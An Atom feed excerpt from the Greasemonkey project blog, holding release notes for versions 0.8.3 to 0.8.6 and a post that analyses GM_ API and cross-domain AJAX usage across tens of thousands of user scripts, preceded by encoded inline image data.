%92%93%0A%01%96%01f%97%9Ac%9A%9D%98%60%9E%9D%A0%A1%A2%5D%A4%A1%A6%A7%9E%5C%AA%AB%AC%AD%9B%AF%B0%96%B2%B3%A9%B3%9FY%B8%B9%10%BE%2F%B8%15%BF%BF%C1%B0%BD%C4%C5%C6%A7%C8%C9%C07%CC%0F%CE%CA%D0%A5%D2%D3%CF%3B%B1%C3%D8b%D8%BE%DE%DDa%DF%D9_%DFc%E7%E3%E2%EA%D3%E1%EB%E6%EF%5E%E4%EE%CE%E8%F1%5D%E9%EC%F5%FA%FB%60%F9%FE%ED%E8%11%23%D3%CF%1E%B8%29%09%21%F9%04%05%05%04%2C%3C%3CBB%03%F9H%BA%DC%FEP%8DI%AB%BD6%EA%1D%B1%FF%15%27r%60%F9%8D%E8c%AEY%EAJl%FC%BE%B1%3C%BB%B5y%CF%F9%B9%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%10X%05%D4%D7u%9B%1Dm%BF%D8%AE%06%FC%15G%C8%60%B3%03MV3%D8mw%15%5E%96%CF%E9W%FB%1D%1Fv%F3%F3v%7FVz%82F%01%87%017%7FD%88%88%8AxC%8D%8D%3Bt%91%92%87%40l%96%97%89%99u%11%A1%1C%9C%98A%5C%1A%A2%A2%A4%A5O%AA%AA%1B%A5%A6L%AF%AB%B1%ADM%B5%A1%AC%B8K%BA%A3%BC%97%B9%BA%23%B2%B4%C4%22%C6%BE%C8%C9%BDH%BF%28%B2%9D%CF%CC%CD%9CJ%D0%D1%CAG%D9%DA%D7%D4%B5%2F%DBE%DD%DE%C2%DC%D5%E6%92%E8%E1%E2%E3B%E5%29%EFA%F1%F2%DFD%F5%EA%8E%E4%E9.%E7%FC%EDvLb%F7J%8F%83%7Cv%10%CAQ%E8%86%A1%1A%87%0F%0B%1A%7Ckb%83%04%21%F9%04%05%05%04%2C%1FNW0%03%FFH%BA%DC%FE0%CA7%EA%988%EB%CD%89%FD%5D%28%8E%CDg%5Ed%AAJ%A7%B9%BE%B0%D7%BAq%1D%CE%AD%ADkx%BE%FF%90%DE%09Ht%08i%C5%E4%11%94%2C.-M%E5%13%15%05N5%80%2C%E0%27%E8%0AFO%8CV%AB%F3z%C1%C7%C9x%5C3%9BIB%F5%3A%DBvwU8%C9%9C%1C%B3%9F%F1H%10%7Bt%13%01%86%01%18%7Ew%2BL%11%83%5B%85%87%86%89%8AQ%8F%90%11%92%92%13%8A%8BE%8F%18%9A%87%94%7EI%97%A1%A2%88%9C%9D%9F%83%19%A9%AA%AB%A5%40%A0%AF%A9%1A%AC%3F%B5%A8%A2%B8%95%3B%BB%BC%9A%1B%B95%A7%1A%B0%C4%C50%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%2B%D3%D4%C3%1C%CB%29%D9%DA%CF%DC%BF*%DF%12%C9%1D%DD%22%E5%E6%B7%21%E9%1C%C7%1D%E7%E8%EFX%AE%22%F3%F4%D7%1D%F7%F8%ED%22%E3B%F4%0B%91O%9F%1BokR%144%E8%89%04%1B%85%FFF%BC%A9%E2l%14%C5%28%0B%2F%FE%C8%A8Q%13%07%C7%8E5%3E%82%84%21r%E4%8Bj%26%89%84K%A9%20%01%21%F9%04%05%05%04%2C%0ANW0%03%FFH%BA%DC%0E%10%B8I%AB%BD8%B7%C8%B5%FF%E0%C7%8DRh%9E%219%A2lK%A9%A4%2B%B7%B0%3A%DF%60m%E3%3C%A6%C7%BD%E0%E4%B7%12%1A%17%C4%CEq%99%8C%2C%8FM%C8%13%DA%9CR%89%A7%806%20%1Cx%07%99dv%AB%ED%7D%BF%3E%1D%8AL%C6%9D%CF%97Z%8B%BDu%BF%BDi%25%8B%5E%BF%DD%D1qN.%7Ce%17%02%87%02%18%7FxV%04%84%5C%86%88%87%8A%8BV%8F%90%15%92%92%17%8B%8CK%8F%18%9A%88%94%7FO%97%A1%A2%89%9C%9D%9F%84%19%A9%AA%AB%A5F%A0%AF%A9%1A%ACB%B5%A8%A2%B8%95A%BB%BC%9A%1E%B98%A7%1A%B0%C4%C53%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%83%AE%1F%C9%1F%CB%7B%D9%DA%B7%20%DDc%7C%21%DB%DC%BF%DE%E5%E6%E1%E2%E9%26%C7%20%E7%E8%EF%20%D3%C8%ED%EE%D7%F6%EB%26%F3%FAo%D6%F4cW%CDD%3D%7EmP%FC%03%E8I%60%21%85%F9%0C%02jDm%18E%2B%0B%2F%0A%C9%A8%B1%12%07%C7%8E8%3E%82%9C%21r%A4%8C%82%26%8D%3C%E3%91%21%F9%04%05%05%04%2C%02%3CBB%03%F5H%04%DC%FE%F0%A9I%AB%BD%98%C6%CD%5D%FE%E0%D5%8D%5Ch%82d*%9D%AC%A5%BE%40%2BO%B0%3A%DF%F5x%EF%F9%B6%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%3D%05%AE%81%AA%0C%CB%D5%9A%B8%E0%AC7%13%06%8F%2F%E5%F0%99%92.%AF%09m%F7%3A%AE%3E%D3%CD%F6%3B%F6%AD%DF%E7%FB%7C%80%81w%3B%02%86%02Fz%85%87%86Et%3F%8C%8CDmA%91%87%8Ex%40%96%97%98WC%9B%8D%20%03%A3%03R%A0%88%A2%A4%A3P%A7%A8%19%AA%AAO%A7%21%B0%A4N%AD%B4%B5%A5M%B3%B9%B5%BC%A0%27%BA%BBK%BD%BE%B0L%C6%C7%B1J%B8%C2%BA%C5%C1%2C%C3%CD%CA%CB%B6I%D6%D7%ABH%DA%DB%C4F%DE%A9%BFG%E2%E3%C8%E1%E6%1F%D4%E9%9B%3B%ECE%D27%F0D%F23%F4%F5%91%40%F8%F9%A1%3F%FCo%26%0CH%60%60%40%83o%10%AEQx%86aCt%0410K%21%F9%04%05%05%04%2C%02%1F0W%03%E7H%BA%0C%0E%2C%CAIk%7B%CE%EAM%B1%E7%E0%E6%8Da%29%8D%A8%A9%A2%A9Z%B2%AD%CB%C1%B1%AC%D1%A4%7D%E3%98.%F2%0F%DF%0E%08%11v%88E%E3%04%A9%AC%9B%16%1C4%0A%9B%0E%7B%D6_%26%CB%EDz%BF%E0%B0xL.%9B%CF%A1%80z%CDn%BB%DB%B6%B7%7C%CEv%D1%EFs%15%7E%0F7%F1%FF%01z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93h%02%96%02f%97%9Ac%9A%9D%98%60%9E%9D_%A1%9E%5D%A4%A1Y%A7%A8V%AA%A5S%AD%A2%AF%B0%97%A9%B3%96%AC%B6%9F%B2%B3%5C%B62%03%C0%03%16%BC.%C1%C1%15%AD6%C6%C6%14%A7%3E%CB%C7%CD%B1%3A%D0%D1%D2%B7B%D5%C0b%DA%C2a%DD%DE%60%DD%DC%E3%DF%DA%E4%D5c%E5%E2%E7%E6%ED%EC%E9%EE%F1%F0%D0%E8%F5%F6%CB%F8%CC%F2%F7%F4%F9%FA%DB%D4%CD%D3wf%9F%86%04%21%F9%04%09%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CAI%AB%BD8%EB%CD%BB%FF%60%28%8Edi%9Eh%AA%AEl%EB%BEp%2C%CFt%0A%DC%40%AD%938%BE%FF%9E%5E%0FH%CC%08%7D%C5%24%E5%88T%3A%1D%CC%E6sJ%88%E6%A8X%2B%96%AA%DDN%BB%5E%A5%F5%1AN%82%CB%C41%DA%1C%5D%B3%99%EEt%3B%0E%3C%D3i%EA%BB%CE%AE%8F%E5%FB3%7C%80%12%01%85%01%21%82%83%0E%86%86%20%89%8A%0B%8C%92%1Fs%90%10%92%98%1D%95%96%8B%98%99%1BG%9C%11%9E%9E%1CC%A2%A3%A4%9F%A8%26%AA%A5%AC%AD%AE%93%B0%24%B2%B3%B4%23%B6%8C%B8%B5%BA%85%BC%22%BE%BF%C0%21%C2%C4%C1%B6%C7%B9%AE%CA%CB%A4%CD%BD%B7%D0%CE%87%D3%D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%C0%02%E4%E5%E6%E7%E8%E7%DC%E9%EC%ED%E6%DA%EE%F1%ED%D9%F2%F5%EA%D8%F6%F9%02%F4%FA%F5%F0%FD%EE%D6%01L%27%AE%A0%C1%83%08%13*%5C%C8%B0%A1%C3%87h%06H%1Cq%C1%C4%8B%10%2Fj%A4%D8pP%A3F%86%1E7*%0C%E9%11%21%C9%92%07O%8A4%A8%F2%23%CB%96%13M%C2%94%98r%26%C7%970%13%CE%5C%98%93%E7I%87%24%2B%AE%ACH%23%D1%A3H%93*%5D%CA%B4%A9%D3%A7P%A3J%9DJ%B5%AA%D5%ABX%B3j%DD%CA%B5%AB%D7%AF%60%C3%16I%3B" /&gt;&lt;p id="greasedLightboxLoadingText"&gt;Loading image&lt;/p&gt;&lt;p id="greasedLightboxLoadingHelp"&gt;Click anywhere to cancel&lt;/p&gt;&lt;/div&gt;&lt;div id="greasedLightboxError"&gt;&lt;p id="greasedLightboxErrorMessage"&gt;Image unavailable&lt;/p&gt;&lt;p id="greasedLightboxErrorContext"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;img id="greasedLightboxPreload" /&gt;&lt;img id="greasedLightboxPrefetch" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-5065470462863563204?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/5065470462863563204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=5065470462863563204' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5065470462863563204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5065470462863563204'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2010/11/greasemonkey-090-release.html' title='Greasemonkey 0.9.0 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_FMU0brKUGn0/TTBtrXTW1JI/AAAAAAAAA6Q/sNDAB4DHJ0s/s72-c/addons-user-scripts-3.6.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-3374745328282096639</id><published>2010-04-08T13:23:00.000-07:00</published><updated>2011-01-14T07:40:29.780-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.8.6 Release</title><content type='html'>The sixth release in the 0.8 series of Greasemonkey, this release includes:&lt;br /&gt;&lt;br /&gt;Features:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Add a hidden preference to allow greasing the &lt;span style="font-family:courier new;"&gt;unmht:&lt;/span&gt; scheme. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/#issue/1038"&gt;#1038&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Allow relative URLs to be used for &lt;span style="font-family:courier new;"&gt;GM_xmlhttpRequest()&lt;/span&gt;, just like standard &lt;span style="font-family:courier new;"&gt;XMLHttpRequest&lt;/span&gt;. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed#issue/1057"&gt;#1057&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Performance enhancements and code improvements to internal logic behind &lt;span style="font-family:courier new;"&gt;@include&lt;/span&gt; and &lt;span style="font-family:courier new;"&gt;@exclude&lt;/span&gt; rules. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed#issue/1070"&gt;#1070&lt;/a&gt; &lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed#issue/1074"&gt;#1074&lt;/a&gt; &lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed#issue/1089"&gt;#1089&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Added translations: ca-ES, cs, fr, nl, sr-RS, vi.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;GM_xmlhttpRequest()&lt;/span&gt; can fail when &lt;span style="font-family:courier new;"&gt;Object.prototype&lt;/span&gt; has been modified. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1065"&gt;#1065&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Two warnings upon making new script via "New User Script". (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1069"&gt;#1069&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Installing scripts from the hard drive (instead of via the web) can fail.&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class=" on down" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/span&gt; (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1077"&gt;#1077&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fix a flaw that could allow websites to prevent Greasemonkey from  running.  (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1082"&gt;#1082&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Error "this.menuCommanders is undefined" bug when closing a browser window. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1087"&gt;#1087&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class=" on down" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;Error "ScriptDownloader is not defined" when performing view source on a user script. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1091"&gt;#1091&lt;/a&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="on" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-3374745328282096639?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/3374745328282096639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=3374745328282096639' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3374745328282096639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3374745328282096639'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2010/04/greasemonkey-086-release.html' title='Greasemonkey 0.8.6 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-846619541654143957</id><published>2010-02-02T08:30:00.000-08:00</published><updated>2010-02-11T13:23:15.578-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.8.5 Release</title><content type='html'>Greasemonkey 0.8.5 is a maintenance release, with these fixes and improvements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Add an &lt;span style="font-family:courier new;"&gt;abort()&lt;/span&gt; method for GM_xmlhttpRequest. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues#issue/1007"&gt;#1007&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Increase compatibility with bleeding-edge Firefox versions.  (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues#issue/1054"&gt;#1054&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Display a "welcome" page to new users when they install.  (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues#issue/1006"&gt;#1006&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fix hooking into the console object for Firebug 1.5.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Thanks very much to our users on the mailing list that caught a few issues in the release candidates.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-846619541654143957?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/846619541654143957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=846619541654143957' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/846619541654143957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/846619541654143957'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2010/02/greasemonkey-085-release.html' title='Greasemonkey 0.8.5 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-7658439070697965440</id><published>2009-12-08T21:06:00.000-08:00</published><updated>2009-12-08T21:09:29.957-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.8.4 released</title><content type='html'>Hot on the heels of 0.8.3 is a single critical bugfix in 0.8.4:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Properly specify the &lt;span style="font-family:courier new;"&gt;.finalUrl&lt;/span&gt; for &lt;span style="font-family:courier new;"&gt;GM_xmlhttpRequest&lt;/span&gt; results. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/#issue/1063"&gt;#1063&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-7658439070697965440?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/7658439070697965440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=7658439070697965440' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/7658439070697965440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/7658439070697965440'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/12/greasemonkey-084-released.html' title='Greasemonkey 0.8.4 released'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-208797079856817771</id><published>2009-12-08T07:56:00.000-08:00</published><updated>2009-12-08T21:00:53.648-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.8.3 Release</title><content type='html'>Greasemonkey 0.8.3 aka "0.8.20091129.3" has been released.  It contains the following changes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Add Firefox 3.6 compatibility flag.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Use platform-dependent line endings when creating a script file. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1004"&gt;#1004&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Properly handle error events, and calling the onerror callback, in GM_xmlhttpRequest. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1008"&gt;#1008&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Add 'binary' option, to do a .sendAsBinary(), for GM_xmlhttpRequest. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1017"&gt;#1017&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;GM_setValue() will display a descriptive error, when it does not receive enough arguments. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1005"&gt;#1005&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fixed a bug that would cause the Greasemonkey info bar not to appear sometimes, when viewing a script's source.&lt;/li&gt;&lt;li&gt;Updated translations from babelzilla.org.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-208797079856817771?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/208797079856817771/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=208797079856817771' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/208797079856817771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/208797079856817771'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/11/greasemonkey-083-release.html' title='Greasemonkey 0.8.3 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-3673784712094989046</id><published>2009-11-25T08:30:00.000-08:00</published><updated>2009-12-08T06:13:49.248-08:00</updated><title type='text'>Greasemonkey API Usage</title><content type='html'>I've been intending to write this post for months, but various things got in the way.  Well, it's finally ready!  Some of &lt;a href="http://groups.google.com/group/greasemonkey-dev/browse_thread/thread/9f74ff190736f179#"&gt;my ideas for Greasemonkey 1.0&lt;/a&gt; would involve major changes to the way that Greasemonkey runs user scripts.  The goals would be to make user script authoring easier, by removing some of the quirks, limitations, and problems that Greasemonkey's current security architecture imposes.&lt;br /&gt;&lt;br /&gt;To begin, an aside: why does Greasemonkey have a security architecture that imposes limitations and problems on script authors?  It's basically &lt;a href="http://www.greasespot.net/2005/07/greasemonkey-05-beta.html"&gt;history&lt;/a&gt; now, but in short: Greasemonkey provides the powerful-but-dangerous capability for user scripts to break the same-origin policy for AJAX requests.  Lots of useful scripts have been created that hinge on this capability.  Unfortunately, it is indeed &lt;span style="font-style: italic;"&gt;powerful&lt;/span&gt;, and Greasemonkey by nature mashes itself and the user scripts up with any old web page that you might visit.  If Greasemonkey and/or a script it is running presents a vulnerability that the content page can leverage, all sorts of nasty things could result, from stealing your bank account, creating false ecommerce purchases, stealing the content of your private files or site data, and so on.&lt;br /&gt;&lt;br /&gt;The point of this post, then, is to examine the landscape for user scripts today.  Discover what scripts are out there, what they are like, and how they operate.  What kind of changes to Greasemonkey would make these scripts stop working?  What kinds of changes could we make with minimal impact?  Toward that end, I've got three graphs to show you (with the raw data below).&lt;br /&gt;&lt;br /&gt;To perform this analysis, I downloaded over thirty six thousand scripts from userscripts.org. This is by no means the entire population of user scripts out there, but I believe it is a good representative sample.  I wrote a python script to read their source and (a bit crudely, but well enough) parse their contents and metadata.  The first thing I was interested in seeing is how common the usage of the various GM_ apis are.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_FMU0brKUGn0/Sw2snZejPgI/AAAAAAAAAVk/wiBGp9mu5gI/s1600/greasemonkey_api_usage.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_FMU0brKUGn0/Sw2snZejPgI/AAAAAAAAAVk/wiBGp9mu5gI/s400/greasemonkey_api_usage.png" alt="" id="BLOGGER_PHOTO_ID_5408168520395734530" border="0" /&gt;&lt;/a&gt;The first thing that we can quickly see is that well over half the scripts, 58.87%, use no special API calls at all.  No matter what happens to the GM_ APIs, they'll keep working just fine.  The most common API call is the get/set value call, at 16.50%.  The cross-domain AJAX call is a close second at 15.51%, with GM_addStyle next at 12.95%.  From here things trail off rapidly, but we see how common unsafeWindow and eval are, both with the potential to be very dangerous.&lt;br /&gt;&lt;br /&gt;Browsers are progressing rapidly, however.  Instead of get/set value, one could use &lt;a href="https://developer.mozilla.org/en/DOM/Storage"&gt;DOM Storage&lt;/a&gt;, and &lt;a href="https://developer.mozilla.org/En/HTTP_Access_Control"&gt;HTTP Access Control&lt;/a&gt; standards, for making cross-domain requests, are being standardized.  What's important to know is if the extra power provided by these APIs is actually being used, or whether these sorts of stand-ins could be a viable replacement.  To investigate that, I examined how many different domains scripts are @included into when making these calls, and which URLs the AJAX calls are being made to.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_FMU0brKUGn0/Sw1lNmvdCMI/AAAAAAAAAVU/_0ldRJOFlW8/s1600/cross-domain.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_FMU0brKUGn0/Sw1lNmvdCMI/AAAAAAAAAVU/_0ldRJOFlW8/s400/cross-domain.png" alt="" id="BLOGGER_PHOTO_ID_5408090011954120898" border="0" /&gt;&lt;/a&gt;The vast majority of get/set value calls (76.33%) are made by scripts that are only ever @include'd into a single domain.  For these scripts, DOM Storage would work perfectly.  Some execute on two, and almost none on more than two.  Some also execute on every page, and this starts to be a problem.  The AJAX patterns are very different.&lt;br /&gt;&lt;br /&gt;Note importantly that my script was a bit naive with AJAX domain gathering.  It used simple string manipulation to find URLs inside GM_xmlhttpRequest calls.  If the URL was set in a variable, elsewhere, then the script did not find it.  So of 5600 scripts that call GM_xmlhttpRequest, only 2693 were "understood" by my script -- and this may be a bad sample.  Scripts that exclusively set their URLs in variables/constants may be more likely to make cross-domain requests, or even perhaps less likely.&lt;br /&gt;&lt;br /&gt;That said: an obvious pattern emerges: plenty of scripts do "@include *" then AJAX off, likely to some other, fixed, site (20.16%).  (Note: lots of these appear to be update checkers, which should hopefully be unnecessary before 1.0.)  Plenty also seem to operate fully within one site (20.87%).  By far the most, however, operate on one site and call another (46.79% or 1260 distinct scripts).  Larger combinations of sites are minimal.  Part of this group is oversimplification in my script, an @include of "*flickr.com" and an AJAX call to "flickr.com" are counted separately.  Most though are the especially useful scripts that, for example, include IMDB data on Netflix, or vice versa.  So, this is far too large a use case to break.  Whatever we do, it seems cross-domain AJAX is going to have to remain.&lt;br /&gt;&lt;br /&gt;Finally, I also took a look at the usage of metadata imperatives: both the "official" ones that actually affect how Greasemonkey works, and the others that are used in other tools, or added for the author's own purposes.  That looks like:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_FMU0brKUGn0/Sw1pzcMMLUI/AAAAAAAAAVc/XcPmOx6RVJ8/s1600/metadata-usage.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_FMU0brKUGn0/Sw1pzcMMLUI/AAAAAAAAAVc/XcPmOx6RVJ8/s400/metadata-usage.png" alt="" id="BLOGGER_PHOTO_ID_5408095060003401026" border="0" /&gt;&lt;/a&gt;Generally what I expected.  Most everyone has an @name and an @include, nearly as many include an @description and @namespace.  Things fall off rapidly from there, but the unofficial @version is next, and an unusual (to me) @author.  From there we fall twoard the single-digit range, finding that @require and @resource are still very rarely used.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conclusions:&lt;/span&gt; Over half of user scripts use no privileged APIs.  All of Greasemonkey's security mechanisms are  a pure hindrance to all these scripts.  If it went away, they would benefit greatly.  It may be possible to remove get/set value in favor of DOM Storage, but the potential damage of these APIs is so small that the cost likely outweighs the benefit.  Although a minority (15.51%) of scripts use GM_xhr, it's still too many to consider removal.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;Edit: Fixed GM_getResourceURL count, I first searched for "Url" and not "URL", explaining the zero found, before.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;To those that are interested: the script that I used to generate these numbers is &lt;a href="http://gist.github.com/242890"&gt;available for inspection&lt;/a&gt;, in case it perhaps contains a serious bug.  The &lt;a href="http://spreadsheets.google.com/ccc?key=0AnbPKNXgZu0-dHZmMEVnTG1SekJEcGFrck1SUUZneUE&amp;amp;hl=en"&gt;data that I generated&lt;/a&gt; with it, and the charts above, are also available to check.&lt;br /&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="on" style="display: block;" id="formatbar_CreateLink" 